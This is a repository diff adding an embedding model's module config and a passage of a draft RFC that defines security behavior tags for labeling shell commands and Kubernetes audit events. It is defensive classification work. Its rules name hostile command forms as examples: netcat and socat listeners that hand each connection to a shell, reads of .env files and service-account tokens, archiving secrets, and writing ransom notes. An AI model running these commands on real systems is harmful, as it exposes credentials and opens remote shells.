+oid sha256:2e550ed4a5e95173641c3fca0925d4f3a25b0afb5d7a527789bb0ef5f247140b
+size 596070136

modules.json

@@ -0,0 +1,14 @@
+[
+  {
+    "idx": 0,
+    "name": "0",
+    "path": "",
+    "type": "sentence_transformers.models.Transformer"
+  },
+  {
+    "idx": 1,
+    "name": "1",
+    "path": "1_Pooling",
+    "type": "sentence_transformers.models.Pooling"
+  }
+]

rev20_tag_rfc.md

@@ -0,0 +1,1727 @@
+# Rev20 Tagging RFC
+
+Status: draft-1
+Applies to: `v4/data/tags_schema_rev20.json` vocabulary revision 20
+Owner: AgentSmith corpus maintainers
+
+Together with `v4/data/tags_schema_rev20.json`, this document is the complete
+authority for rev20 `behavior_tags[]`.
+
+The RFC core defines stable tagging semantics. Appendix examples are maintained
+in this same file so reviewers have one place to look, but examples are not new
+rules. If an appendix example appears to conflict with the RFC core, the RFC core
+wins and the example MUST be fixed.
+
+## Changelog
+
+- 2026-06-17: Folded Kubernetes AuditLog normalized-event semantics into this
+  single RFC. K8s Audit operational notes are non-normative; this file remains
+  the only RFC authority for rev20 behavior semantics.
+- 2026-06-13: Added `write_ransom_note` for visible creation or modification
+  of ransom, recovery, or extortion-note content; this is distinct from
+  `encrypt_data` and from generic file-write mechanics.
+- 2026-06-13: Removed generic file create/write/delete/copy/move labels from
+  rev20; file-path behavior is now represented by retained security-semantic
+  tags such as temporary or hidden staging, critical system paths, special nodes,
+  executable content, persistence hooks, trust stores, and domain-specific
+  mutations.
+- 2026-06-13: Removed `search_other` and `query_remote_service`; generic search
+  and generic remote/API query mechanics are no longer behavior labels unless
+  the visible command supports a retained security-semantic target.
+- 2026-06-13: Added a schema boundary matrix so every broad tag family has an
+  explicit rev20 boundary in the RFC core instead of relying on schema names
+  alone.
+
+## Normative Words
+
+The words **MUST**, **MUST NOT**, **SHOULD**, **SHOULD NOT**, and **MAY** are
+used in the RFC sense.
+
+- **MUST**: required for every corpus row and review.
+- **MUST NOT**: forbidden even when a reviewer thinks the alternative is useful.
+- **SHOULD**: default behavior; exceptions require a cited RFC principle,
+  listed ambiguity, or row-specific justification.
+- **MAY**: allowed but not required.
+
+## Authority Order
+
+Only two sources are normative:
+
+1. `v4/data/tags_schema_rev20.json`: allowed tag names, maintenance groups,
+   output shape, invariants, and validation metadata.
+2. This RFC core: evidence model, decision procedure, tagging principles, and
+   review/change rules.
+
+Prompts, review logs, historical corpus labels, training data, and appendix
+examples are non-normative unless the RFC core explicitly imports their content.
+
+The schema MUST remain a vocabulary artifact. It MUST NOT contain reference
+examples, few-shot examples, boundary-rule lists, or case-specific review
+guidance. Those belong in this RFC.
+
+A reviewer MUST NOT change a corpus row only because a historical label "feels
+less ideal". A row changes only when it violates the schema or a normative
+requirement in this RFC core.
+
+## Core Contract
+
+Input:
+
+```text
+one raw observed command line or normalized audit/event line
+```
+
+Output:
+
+```json
+{"behavior_tags": ["zero or more visible complete behavior labels"]}
+```
+
+The output describes objective behavior visible in this single command line. It
+does not describe maliciousness, authorization, success, session-level intent,
+campaign identity, likely operator purpose, or facts learned only by executing
+the command.
+
+## Evidence Model
+
+Reviewers MUST classify every possible tag source into one of these evidence
+classes before assigning tags.
+
+| Evidence class | Taggable? | Rule |
+| --- | --- | --- |
+| Executed stage | Yes | A command stage the shell, remote boundary, container boundary, workload boundary, chroot, or tool actually runs now. |
+| Nested executed command | Yes | A command visibly executed now by `ssh`, `kubectl exec`, `docker exec`, `chroot`, equivalent remote/workload exec, or explicit shell execution. |
+| Reference operand | Usually no | A file passed as config/defaults/properties/input for a different primary operation is not a read of that file's semantic content. |
+| Output path | No by itself | A destination path can classify a write, but it does not prove a read or future execution. |
+| Quoted text / search pattern | No by itself | Text matched, searched for, printed, written, or stored is not executed now and does not become a behavior solely because it appears as text. |
+| Persisted payload | Only the current write/mutation | Cron, systemd, shell startup, Dockerfile, CI, package hook, or config content is future behavior unless this command also executes it now. |
+| Path/content identifier | Only with operation evidence | Strong filenames, directory names, extensions, and option roles can classify the object of a visible read, write, search, mutate, transfer, or execute operation. They do not create an operation by themselves. |
+| Tool name | No by itself | A binary name does not prove the operation; reviewers MUST inspect flags and operands. |
+
+## Decision Procedure
+
+For each row, reviewers MUST apply this order:
+
+1. Parse the command into currently executed stages: separators, pipelines,
+   command substitutions, process substitutions, remote commands, container or
+   workload exec, chroot, and explicit shell `-c` boundaries.
+2. Discard non-executed text: search patterns, printed strings, heredoc bodies
+   when merely written, filenames, comments, serialized payload values, and
+   future unit/cron/hook/config content.
+3. Identify each stage's primary operation: read, enumerate, search, write,
+   mutate, execute, connect, probe, transfer, dump, import, backup, compress,
+   archive, schedule, or comparable visible behavior.
+4. Select the most specific complete behavior tag for each independently visible
+   operation.
+5. Add multiple tags only when the command line exposes multiple independent
+   operations.
+6. Suppress generic parents when a specific child tag fully covers the behavior.
+7. If no complete behavior is visible, emit `[]`.
+8. If the row is ambiguous and no RFC principle decides it, preserve the
+   existing row during review and propose an RFC update first.
+
+## Tagging Principles
+
+### RFC-P1: Visible Operation
+
+A tag MUST be based on visible current operation evidence, not on tool names,
+reviewer expectation, or what the command might do after execution. Path
+keywords, search strings, archive names, and other content identifiers do not
+create behavior by themselves, but under RFC-P5 they can classify the object of
+a visible read, search, write, archive, transfer, mutation, or enumeration.
+
+### RFC-P2: Current Execution Boundary
+
+Only behavior executed by the current command line is taggable as current
+execution. Quoted commands, serialized payloads, search strings, cron entries,
+unit files, package scripts, CI configs, Dockerfiles, and other persisted content
+MUST NOT receive execution tags unless this command line also executes that
+content now.
+
+For explicit shell `-c` forms, only the command string operand is parsed as
+current shell code. Later operands are shell positional parameters and MUST NOT
+be treated as executed commands by themselves.
+
+### RFC-P3: Independent Operation Composition
+
+Multiple tags MUST correspond to independently visible operations. Shell syntax,
+redirection, pipelines, wrappers, option parsing side effects, and destination
+paths do not create additional behavior tags by themselves.
+
+Rev20 has no generic file create/write/delete/copy/move behavior labels. File
+operations MUST be represented only when the visible target has a retained
+security semantic: content class, persistence entry point, permission/capability
+change, critical path, hidden or temporary staging path, special filesystem node,
+transfer direction, archive/compression operation, or domain-specific mutation.
+Do not add a file-path behavior merely because another operation saves its
+report, scan result, query result, rendered view, dump, or log output to a path
+via `>`, `tee`, `-o`, `--output`, or a tool-specific output option. In those
+cases, keep the primary semantic tag, such as scanning, probing, querying,
+dumping, rendering, testing, or auditing.
+
+### RFC-P4: Specificity
+
+When a specific tag completely covers the visible behavior, reviewers MUST NOT
+also add a generic parent tag. Generic tags are used only when no more specific
+complete tag applies.
+
+### RFC-P5: Source And Content Semantics
+
+Read, search, log, credential, secret, and config tags MUST follow the visible
+source, objective, and content class. Reviewers MUST judge the operator's
+visible objective like a human reviewer: if a command actively searches for,
+filters for, writes to, transfers, archives, extracts, or enumerates objects
+identified by a strong content marker, that marker classifies the visible
+operation even when no file content is displayed and even if the target file
+would later be empty or nonexistent.
+
+This is an intent-and-operation standard, not a literal byte-observation
+standard. A reviewer SHOULD ask what a competent operator is visibly trying to
+do from the command line. For example, `find / -name "*.conf"` is a search for
+configuration files, `cat mysql.conf` is a configuration read, and an archive
+named like a credential or database backup classifies that archive or transfer
+operation. Do not refuse the semantic tag merely because the command output is
+not shown in the corpus row.
+
+Strong content identifiers include conventional config names and patterns such
+as `*.conf`, `*.cnf`, `my.cnf`, `mysql.conf`, `mysqld.cnf`, `nginx.conf`,
+`sshd_config`, and `kubeconfig`; credential names and patterns such as `.env`,
+`id_rsa`, `authorized_keys`, `credentials`, `secret`, `token`, `keytab`, and
+`private.key`; and log names such as `auth.log`, `audit.log`, and `syslog`.
+Reviewers SHOULD use the strongest specific tag supported by the visible
+operation and content identifier. Ambiguous or misspelled names MAY be used when
+surrounding context makes the class clear, but MUST NOT override a more direct
+tool operation.
+Socket paths are service connection targets rather than configuration files.
+Cloud or managed-platform instance-data files are cloud metadata. Package
+manifests, lockfiles, and requirements files under repositories or dependency
+trees are source/package content, not infrastructure configuration.
+Compiled application artifacts such as `.jar`, `.war`, or release binaries are
+not source-code reads by filename alone; content rendering or filtering of those
+artifacts gets `read_source_code` only when source, manifest, or repository
+content is otherwise visible.
+
+Environment files are a strict sensitive-content boundary. Paths named `.env`,
+`*.env`, `*.env.*`, `process.env`, or comparable private environment dumps are
+credential/sensitive material by default when their file content is visibly
+read, searched, copied, archived, uploaded, downloaded, or otherwise
+transferred. This default reflects normal Linux and application practice:
+environment files commonly carry tokens, API keys, passwords, database URLs,
+cloud credentials, and service secrets.
+
+Reviewers MUST NOT downgrade visible environment-file content access to ordinary
+business or infrastructure configuration merely because environment files can
+also contain non-secret settings. Commands such as `cat .env`, `head .env`,
+`grep ... .env`, `strings process.env`, `cp .env ...`, `tar ... .env`, or a
+remote command visibly reading `.env` MUST include the applicable credential or
+sensitive-content tag. A config tag may coexist only when the file's operational
+configuration role is also materially visible; it MUST NOT replace
+`read_credential_material`, `search_credentials`, `archive_sensitive_content`,
+`upload_credential_material`, or `upload_sensitive_content`.
+
+Narrow exceptions require positive evidence that the object is not secret
+material, such as `.env.example`, committed defaults, documentation fixtures, or
+a command that only writes a literal template without reading an existing
+environment file. These exceptions should use ordinary config or source tags
+only when their visible operation and target class support them; otherwise they
+get no file-write fallback tag.
+
+Ordinary service configuration files such as `my.cnf`, `mysql.conf`, and
+`nginx.conf` remain configuration reads. Strongly credential-bearing config
+files such as database client credential files, JAAS files, ACL files, and real
+application DB connection configs add credential-material reads. Template,
+example, and `.dist` config files do not add credential tags solely from the
+filename.
+
+Live environment-variable enumeration follows the same visible-objective
+standard. Commands that print or filter live environment values use
+`read_environment_variables`; filters or named variables such as `TOKEN`,
+`SECRET`, `PASSWORD`, `API_KEY`, `PGPASSWORD`, `DATABASE_URL`, or `AWS_*` also
+use the applicable credential-search, credential-material, or cloud-credential
+tag. `env -u NAME command` only changes the child process environment and does
+not read that variable's value.
+
+Deleting visible credential material is a credential operation, not a generic
+filesystem deletion. Removing targets such as `.env`, `id_rsa`,
+`authorized_keys`, `credentials`, `secret`, `token`, `keytab`, `/etc/shadow`, or
+credential bundles MUST use `delete_credential_material`. Removing unrelated
+ordinary helper artifacts does not require an additional tag unless a more
+specific retained semantic tag applies.
+
+Copying or moving visible credential material MUST retain the source object's
+credential/sensitive-content semantics when the vocabulary has a suitable tag.
+Do not add any extra tag merely for local path movement.
+Private-key paths such as `id_rsa`, `id_ed25519`, and `private.key` are
+credential material when content is read, searched, transferred, or deleted.
+Metadata-only actions such as `ls`, `stat`, `file`, `chmod`, `touch`, or
+`chown` on those paths remain metadata or permission actions.
+Special permission and file-attribute operations are classified by the metadata
+being changed, not by target content. SUID/SGID bit setting, file capabilities,
+ACL changes, and immutable or append-only `chattr` flags do not imply a content
+read solely because the target path names credentials, logs, source code, or
+configuration. Removing a SUID/SGID bit is generic permission modification unless
+the vocabulary has a dedicated removal tag. Capability and immutable-attribute
+removal use the dedicated removal tags. `search_world_writable_files` requires
+world-writable predicates such as `-perm -0002`; generic `-writable` searches
+only prove writability for the current effective user and should use
+`enumerate_filesystem` when the command visibly enumerates matching paths.
+
+Deleting live configuration files or repository-managed configuration files is
+configuration or repository mutation. Deleting temporary config copies,
+snapshots, generated bundles, or archive artifacts gets no extra label unless
+another strong semantic class, such as credential material or logs, applies.
+
+Positive search patterns and filters are first-class evidence for the search
+objective only when rev20 has a retained tag for that objective. Searching for
+credential stores or credential material such as `.ssh` directories, `.env`,
+`id_rsa`, `authorized_keys`, private-key names, token/secret names, SUID or SGID
+predicates, file capabilities, or world-writable predicates MUST receive the
+applicable retained search tag. Content searches for credential markers such as
+`password`, `secret`, `token`, `api_key`, or `keytab` also classify the search
+objective as credential search. This does not imply the matched files were read
+as semantic content unless the command also reads a visible source object.
+Exclusion-only patterns, comments, and text that is merely printed or stored do
+not define the search objective.
+Authentication-log event phrases such as `Failed password`, `Accepted password`,
+`Accepted publickey`, or `Invalid user` describe login outcomes and do not by
+themselves define a credential-search objective when the visible source is an
+auth log or journal. SSH policy field names such as `PasswordAuthentication`,
+`PubkeyAuthentication`, and `PermitRootLogin` describe policy reads, not
+credential-material searches.
+Searching auth or audit logs for a credential-bearing path string, such as
+`/home/user/.ssh/authorized_keys` or `id_ed25519`, reads the log source and does
+not by itself read, discover, or search the referenced SSH key file content.
+
+Configuration, log, source-code, and business-data searches have no generic
+search tag in rev20. Filename discovery such as `find /etc -name '*.conf'`,
+`locate '*.log'`, or `find /srv/app -name '*.py'` is filesystem enumeration
+unless the filename also matches a retained sensitive-search class. Content
+filtering such as `grep pattern /etc/app.conf`, `rg TODO /srv/repo`, or
+`awk ... /var/log/auth.log` reads the visible source class and should use the
+corresponding semantic read tag, such as config, source, business data, or log.
+
+Rev20 has no generic search fallback label. Search and filter tools such as
+`grep`, `find`, `awk`, `sed`, `rg`, `locate`, YARA, or comparable scanners MUST
+use a retained search tag only when the visible target class has security
+meaning, such as credential material, sensitive files, SUID/SGID files,
+capability files, or world-writable files. Otherwise, use the semantic source
+read tag when the source itself is visible and meaningful, such as logs,
+configuration, source code, or business data. If neither a retained search
+target nor a semantic source is visible, emit no search-related tag.
+
+Destination paths and archive/container names classify the visible write,
+archive, extract, transfer, or metadata operation they participate in. Writing
+to a path named like a configuration file is a configuration mutation when the
+write operation is visible. Listing, extracting, creating, uploading, or
+downloading an archive or object named like a credential/config/log bundle
+inherits the sensitive-content class for that archive operation. These names do
+not by themselves prove direct reading of archive members or destination file
+content unless the command also reads or extracts that object.
+
+Content comparison, counting, joining, and formatting tools such as `diff`,
+`cmp`, `comm`, `paste`, `join`, `wc`, `col`, and `column` visibly read their
+input content. They MUST use the source's semantic read tag when one is visible;
+they MUST NOT be reduced to `inspect_file_metadata` solely because they do not
+modify files.
+
+Path-shape and path-resolution tools such as `basename`, `dirname`, `realpath`,
+and `readlink` inspect path strings or link targets. They use
+`inspect_file_metadata` and MUST NOT inherit semantic content-read tags merely
+from path names.
+Resolving `/proc/<pid>/exe`, `/proc/<pid>/cwd`, `/proc/<pid>/root`, or the same
+links under `/proc/self` is process runtime-attribute inspection, not a semantic
+read of the executable, working directory, or root filesystem content.
+
+SSH public authorization and trust material, such as `authorized_keys` and
+`known_hosts`, is SSH policy content when visibly read or transferred. It MUST
+NOT be labeled as credential material solely because it appears under an `.ssh`
+path.
+Counting, comparing, checksumming, or rendering `authorized_keys` reads SSH
+policy content; appending, replacing, or installing its content modifies SSH
+authorization. Metadata, ownership, security-context, or audit-watch changes on
+the file do not modify SSH authorization unless scheduled key content is also
+written or removed.
+The `.ssh` directory itself is a strong sensitive boundary when the command
+visibly lists its contents, searches it, copies it, archives it, uploads it, or
+otherwise transfers it. Use SSH policy, credential, or sensitive-content tags
+according to the visible child paths and operation. Directory-metadata-only
+operations such as `stat ~/.ssh`, `lsattr -d ~/.ssh`, `chown ~/.ssh`, or
+`chmod 700 ~/.ssh` remain metadata or permission actions and do not imply that
+SSH key or policy content was read.
+
+### RFC-P6: State Mutation Semantics
+
+Persistent state changes, runtime state changes, scheduled task changes,
+service enablement, verification material changes, permissions, and filesystem
+transforms are distinct behaviors. Reviewers MUST choose the tag that matches
+the visible mutation direction and target state, and MUST NOT infer adjacent
+state changes that are not visible.
+
+File-operation labels are security-semantic, not syscall-semantic. Reviewers
+MUST NOT tag ordinary create/write/delete/copy/move mechanics unless the target
+or content has a retained security meaning.
+
+Use `write_ransom_note` when visible content or target naming shows a ransom,
+recovery, encryption notice, payment demand, or extortion instruction being
+written or appended. This tag does not require visible file encryption in the
+same command and MUST NOT substitute for `encrypt_data` when encryption is
+actually visible. Ordinary deployment notes, status markers, reports, and
+support logs do not use this tag.
+
+Local path deletion follows the deleted object's semantic class, not the
+`rm`/`rmdir`/`unlink` mechanism. Use `delete_credential_material` for credential
+material, `delete_audit_log`/`delete_system_log`/`delete_infrastructure_log`/
+`delete_business_log` for logs, `delete_source_code` for source content,
+`delete_scheduled_task` and `delete_systemd_unit` for concrete persistence
+definitions, database/object-storage/container/cloud delete tags for their
+domains, `modify_*_config` or policy-specific mutation tags for configuration
+and authorization files, `modify_bootloader` for bootloader paths,
+`modify_critical_system_path` for high-trust OS paths with no stronger tag, and
+`wipe_storage` for broad destructive path removal such as root, boot, home, or
+large service trees. Use `securely_delete_data` only for tools that visibly
+overwrite or securely erase the target. Deleting ordinary temporary files,
+reports, caches, packages, build artifacts, staging directories, or unknown
+helper files gets no file-path behavior tag. Do not use temporary/hidden staging
+tags for deletion-only commands.
+
+Use `stage_temporary_path` only when the current command visibly writes,
+creates, downloads, copies, extracts, archives, or generates retained content
+into a temporary/user-writable staging location such as `/tmp`, `/var/tmp`,
+`/dev/shm`, `/run/user/*`, or a comparable scratch path. The tag requires an
+actual current write/stage destination. A temporary path that is only read,
+executed, uploaded from, checked, deleted, mentioned in text, used as an input,
+or used as a cookie/header/config operand is not enough.
+
+Use `stage_hidden_path` only when the current command visibly writes, creates,
+downloads, copies, extracts, archives, or generates retained content into a
+hidden path component such as `/tmp/.cache`, `/dev/shm/.x`,
+`.config/.hidden`, or a comparable dot-prefixed path. The hidden component must
+be part of the current write/stage destination. A hidden path that is only read,
+executed, uploaded from, checked, deleted, mentioned in future config text, or
+used as an input is not enough.
+
+Temporary/hidden staging tags are strict secondary tags. Do not use them for
+ordinary reports, scan results, service-status captures, health-check output,
+test reports, rendered manifests, process snapshots, database/query exports, or
+other domain-specific outputs whose primary behavior is already represented by a
+more specific tag, unless the command is clearly building a retained bundle,
+payload, credential/config capture, or transfer staging artifact. Do not infer
+the tags from future cron/systemd/hook payload text; tag the current file write
+or persistence object only. Do not use them for well-known semantic dot paths
+that have stronger tags, such as `.ssh/authorized_keys`, `.env`, repository
+hooks, shell startup files, or package metadata.
+
+Use `modify_critical_system_path` only as a fallback for writes, replacements,
+deletions, or destructive edits under high-trust operating-system paths when no
+more specific tag applies. Examples include `/etc`, `/boot`, `/usr/lib`, `/lib`,
+`/usr/local/lib`, and comparable OS trust or load paths. Prefer stronger tags for
+systemd units, cron/scheduled tasks, sudo/PAM/SSH policy, dynamic loader state,
+library preload, shell startup, bootloader state, trust stores, kernel modules,
+system executables, web scripts, and infrastructure or business configuration.
+
+Use `create_special_filesystem_node` for explicit creation of FIFO, device, or
+socket-like filesystem nodes with tools such as `mkfifo`, `mknod`, or equivalent
+node-creation forms. Symlink operations keep `modify_symlink`.
+
+Use `modify_repository_hook` for creating, replacing, editing, or deleting
+repository execution hooks such as `.git/hooks/*`, server-side Git hooks, or
+comparable VCS hook paths. Persisted hook payloads are future execution unless
+the command also executes them now.
+
+Use `modify_package_execution_hook` for creating, replacing, editing, or deleting
+package-manager or build-system lifecycle hooks such as `package.json` scripts,
+npm/yarn/pnpm lifecycle entries, Python package build hooks, Ruby gem hooks, or
+comparable install/build/test hook definitions. Ordinary dependency version
+changes use dependency tags, not hook tags.
+
+Use `write_kernel_module_content` when module content is written, copied,
+downloaded, built, or placed as a `.ko` artifact or under kernel module load
+paths such as `/lib/modules`. Loading or unloading that module remains
+`load_kernel_module` or `unload_kernel_module`.
+
+Use `modify_trust_store` for mutations to trust roots or verification stores,
+including system CA bundles, Java `cacerts`, NSS databases, GPG/APT/YUM trust
+keyrings, container registry trust stores, and comparable certificate authority
+or package-verification trust anchors. Standalone certificate/key/signature
+material can remain `modify_verification_material` when it is not a trust store.
+File-integrity baselines and databases, such as AIDE init/update outputs, are
+verification material: initialization or update uses
+`modify_verification_material`, while checks use `verify_artifact_integrity`.
+
+### RFC-P7: Transfer And Query Semantics
+
+Transfer tags require visible movement of content. Service health checks,
+metrics queries, metadata reads, API probes, and session opens MUST use their
+specific query/read/session tags rather than generic upload or download tags.
+Upload/download direction and uploaded/downloaded content class MAY both be
+tagged when both are visible.
+
+Rev20 has no generic remote-service query label. HTTP, RPC, CLI, or API requests
+MUST be classified by the concrete visible operation: probe, health query,
+metrics read, content download, upload, mail operation, database/cache/object
+storage query, cloud-control-plane read or mutation, workload or infrastructure
+inspection, or another retained domain tag. Opaque remote/API reads with no
+visible retained security target MUST NOT receive a placeholder query tag.
+
+For HTTP clients, method and flags decide direction before URL shape. GET-style
+requests that retrieve response bodies are downloads or domain reads when a
+more specific domain tag applies. HEAD/spider forms are probes. Requests with
+visible request bodies or mutating methods such as POST, PUT, PATCH, or DELETE
+MUST NOT be labeled as downloads solely because the URL names a file.
+
+### RFC-P8: Boundary Execution
+
+Remote, container, workload, chroot, and multiplexer boundaries MUST be tagged
+according to what the boundary actually does now. A boundary tag may coexist with
+the nested behavior when the nested command is executed now. Sending input to a
+multiplexer is not the same as directly executing that input in the current
+command line.
+Creating a multiplexer session, window, or pane with a command starts that
+command now, so visible nested behavior may be added; attaching or sending keys
+only changes or targets the multiplexer state unless execution is otherwise
+visible in the same command line.
+
+Listener command handlers such as `ncat -e ... -l` and `socat
+TCP-LISTEN:... SYSTEM:...` or `UNIX-LISTEN:... SYSTEM:...` register future
+per-connection behavior. Unless the same command line visibly triggers the
+connection and handler execution now, reviewers MUST tag the listener, not the
+handler's future side effects.
+Proxy helpers that start an active proxy service are dynamic-proxy creation and
+may also be network listeners; direct one-shot forwarding wrappers such as SSH
+`ProxyCommand='ssh -W ...'` are connection behavior, not proxy creation. When an
+active proxy is started with an explicit private-key path, the command also
+reads credential material.
+
+Privilege wrappers such as `sudo`, `doas`, and `pkexec` are execution wrappers,
+not retained behavior tags. When they visibly run a command now, tag the nested
+command's visible behavior and any concrete identity change, but do not add a
+generic privilege-wrapper tag.
+
+### RFC-P9: Domain-Specific Primary Operation
+
+When a domain-specific operation is visible, such as object-storage transfer,
+database dump/import, cloud credential read, cluster secret read, or package
+verification material mutation, reviewers SHOULD use the domain-specific tag
+instead of a less-specific file-path, HTTP, or process tag.
+
+Process listing, tree, and search tools such as `ps`, `pstree`, `pgrep`, and
+unfiltered or user-filtered `top`/`htop` MUST use `enumerate_processes`.
+`top`/`htop` views pinned to explicit process IDs SHOULD use
+`inspect_process_runtime_attributes`.
+
+Open-file ownership tools such as `lsof` and `fuser` enumerate file, process,
+or socket usage. Path operands to these tools MUST NOT be treated as semantic
+content reads. `fuser -k` is process termination; signal `0` forms are
+existence checks, not termination.
+
+Account identity, access state, and authentication policy are separate. User
+names, UIDs, home directories, and login shells are identity attributes. Account
+lock/unlock/expiry state is user access state. Password aging/status policy read
+by tools such as `chage -l` or `passwd -S` is authentication policy.
+PAM file edits and authselect or pam-auth-update feature changes are PAM policy
+modification. Local identity/auth cache cleanup such as `sss_cache -E` is cache
+flush behavior, not authentication policy modification. Kubernetes and
+OpenShift RBAC reconciliation or role grants use cluster auth-policy or cluster
+privilege tags rather than local auth-policy tags.
+When identity or auth data is queried through an explicit remote directory or
+identity protocol such as LDAP, keep the identity/auth tag and also add the
+matching connection-boundary tag. This companion rule is narrow: do not add a
+generic connection tag to every database, broker, cache, cloud, or workload
+domain operation solely because a remote endpoint is present. Self-principal
+lookups such as `ldapwhoami` or `az account show` are current-identity
+inspection, not generic identity enumeration. Reads of `sudo` group membership
+or LDAP `sudoRole` objects add `read_sudo_policy` alongside identity tags.
+
+Scheduled task tags are distinct by operation. Listing scheduled task names or
+timer sets is enumeration. Reading concrete crontab, timer, or scheduled-task
+unit content is `read_scheduled_task`. Explicitly running a scheduler entry,
+timer, or scheduled-task script is `execute_scheduled_task`. Creating, editing,
+replacing, removing, enabling, or disabling scheduled execution uses the
+create/modify/delete scheduled-task tags according to the visible operation.
+`crontab -l` reads concrete crontab content. `crontab FILE` and `crontab -`
+install or replace scheduled execution; tag the schedule mutation, not the
+future payload's behavior unless that payload is also executed now. Directory
+listings of cron paths, `run-parts --list`/`--test`, and `systemctl list-timers`
+enumerate scheduled tasks unless they also read task file contents.
+Creating, replacing, editing, truncating, or removing concrete files under
+cron task locations is scheduled-task management; metadata-only changes such as
+chmod, chown, touch, mkdir, or rmdir stay permission, metadata, staging, or
+critical-path behavior only when a retained specific tag applies.
+`run-parts /etc/cron.*`, direct execution of files under concrete cron task
+locations, and `systemctl start` or `restart` of `.timer` units are scheduled
+task execution. Systemd `.timer` unit-file creation, replacement, editing,
+deletion, masking, unmasking, enabling, disabling, or stopping is scheduled-task
+management in addition to any systemd unit or service-state tag. Timer status,
+show, and journal reads remain service inspection or log reads unless they read
+timer unit content.
+For non-timer systemd services, creating, replacing, editing, truncating, or
+deleting concrete unit/drop-in content uses systemd-unit tags. `daemon-reload`
+reloads manager state but is not itself unit content creation or editing.
+`enable`, `disable`, `mask`, and `unmask` are service enablement operations;
+`start`, `stop`, `restart`, and `try-restart` are service-state operations.
+Service health, readiness, liveness, registration-probe, and status-notify
+commands are not service-state modification unless they also start, stop,
+restart, reload, enable, disable, mask, or unmask the service.
+Starting, reloading, or controlling an infrastructure daemon with an explicit
+config-file or config-directory operand also reads infrastructure configuration.
+Commands that create or edit the config and then reload the service keep the
+configuration mutation tag; do not add a separate config-read tag solely because
+the service reloads after the write.
+Kubernetes CronJob and external scheduler lifecycle commands follow the same
+scheduled-task operation split: create, patch/update, delete, read/list, and
+run/trigger map to scheduled-task creation, modification, deletion, read or
+enumeration, and execution.
+
+Local Kubernetes cluster lifecycle tags are separate from workload and cloud
+resource tags. Creating or starting local minikube, kind, k3d, or kubeadm-based
+clusters is `create_local_kubernetes_cluster`; checking local cluster status or
+listing local clusters is `inspect_local_kubernetes_cluster`; deleting or
+resetting those local clusters is `delete_local_kubernetes_cluster`. Loading or
+importing images into a local cluster remains `transfer_container_image`;
+commands routed through a local cluster wrapper to `kubectl` follow the visible
+`kubectl` operation. Local cluster lifecycle commands with explicit config-file
+operands also read infrastructure config; kubeconfig export helpers are
+`export_cluster_config`, not local cluster inspection. Kubeadm phase-only
+commands follow the named phase rather than inheriting full cluster creation;
+for example token creation creates an access token, token listing reads cluster
+secret data, and certificate upload modifies cluster secret material.
+Kubernetes context helpers such as `kubectx` and `kubens` read or modify local
+kubeconfig context state, not cloud CLI state or cluster authorization policy.
+Direct content reads or content scans of kubeconfig files, including
+`admin.conf`, read credential material because those files commonly contain
+cluster access credentials. Passing a kubeconfig only as an authentication
+operand to another visible Kubernetes operation does not add a separate
+credential-read tag.
+Kubernetes node join commands such as `kubeadm join` create cluster identity
+state; their API-server endpoint is not the primary tag when the join operation
+is visible. Workload shell helpers such as `oc rsh` are workload execution, and
+interactive shells add `spawn_interactive_shell`.
+Kubernetes NetworkPolicy reads, diffs, and mutations are firewall-policy
+inspection or modification, not cloud-provider firewall changes.
+Kubernetes `get` and `list` operations over live cluster objects enumerate
+cluster resources, even when the object contains configuration-like YAML.
+`describe`, rollout status, and detailed live workload views inspect workload
+state. They are not local infrastructure-configuration reads solely because the
+output can be rendered as YAML or JSON.
+
+Kubernetes AuditLog rows use normalized event strings, not raw audit JSON:
+
+```text
+k8s_audit verb=<verb> apiGroup=<group> resource=<resource> subresource=<subresource> namespace=<namespace> name=<name> user=<user> userAgent=<agent> requestURI=<uri> requestObject=<summary>
+```
+
+The behavior label describes the visible Kubernetes API operation. Caller
+identity, user agent, source IP, response status, authorization result, and
+attack likelihood do not create tags by themselves. A failed or denied event
+keeps the attempted visible behavior tag when the operation is visible.
+`get`, `list`, and `watch` on ordinary live objects use
+`enumerate_cluster_resources`; named or collection reads of workload status,
+rollout, scale/status, pod status, and comparable detailed workload state use
+`inspect_workload` when the normalized event establishes a status or detailed
+workload inspection. `create`, `update`, `patch`, `delete`, and
+`deletecollection` on ordinary live objects such as Pods, Deployments,
+DaemonSets, StatefulSets, Jobs, Nodes, Namespaces, ConfigMaps, Leases, PVCs,
+PVs, ResourceQuotas, LimitRanges, PodDisruptionBudgets, PriorityClasses,
+RuntimeClasses, StorageClasses, CSIDrivers, CSINodes, VolumeAttachments,
+VolumeSnapshots, VolumeSnapshotClasses, CustomResourceDefinitions, and
+APIServices use `modify_workload` unless a more specific auth, secret,
+firewall, route, scheduled-task, backup, or verification-material rule applies.
+`pods/eviction` create and `pods/binding` create are workload modification.
+
+Kubernetes AuditLog secret, credential, and workload-execution rules are
+specific. Secret collection reads use `enumerate_cluster_secrets`; named Secret
+reads use `read_cluster_secret`; Secret create, update/patch, delete, and
+deletecollection use `create_cluster_secret`, `modify_cluster_secret`,
+`delete_cluster_secret`, and `delete_cluster_secret` respectively. Service
+Account token subresource creates use `create_access_token`; ServiceAccount
+object reads enumerate cluster resources, and ServiceAccount object mutations
+are workload modification. SubjectAccessReview, SelfSubjectAccessReview,
+LocalSubjectAccessReview, SelfSubjectRulesReview, and TokenReview create events
+use `verify_auth_policy`. `pods/exec` and comparable command subresources use
+`execute_in_workload`; if the normalized request includes the inner command,
+the visible Linux command behavior tags are also required. Visible shell opens
+such as `/bin/sh`, `/bin/bash`, `cmd.exe`, or PowerShell add
+`spawn_interactive_shell`. Examples: `command=id` adds
+`inspect_current_identity`, `command=printenv` adds
+`read_environment_variables`, `command=curl ... /healthz` adds
+`query_service_health`, and reading the service-account token path adds
+`read_container_secret` and `read_credential_material`. `pods/attach` uses
+`execute_in_workload`, and adds `spawn_interactive_shell` only when the event
+opens an interactive terminal or visibly attaches to a shell. `pods/log` uses
+`read_workload_logs`; `pods/portforward` uses `port_forward_workload`.
+`pods/ephemeralcontainers` reads inspect workload state; patch/update events
+that add ephemeral containers modify workload state, even when the debug
+container command is a shell.
+
+Kubernetes AuditLog policy, route, scheduler, and controller objects use the
+same semantic families as command-line Kubernetes operations. Service, Ingress,
+Endpoint, EndpointSlice, Gateway, HTTPRoute, Route, VirtualService,
+DestinationRule, and comparable routing or exposure mutations use
+`modify_route`; reads of those objects enumerate or inspect live cluster state.
+NetworkPolicy, CiliumNetworkPolicy, and comparable Kubernetes network-policy
+reads use `inspect_firewall_policy`; their mutations use
+`modify_firewall_policy`. Role, ClusterRole, RoleBinding, ClusterRoleBinding,
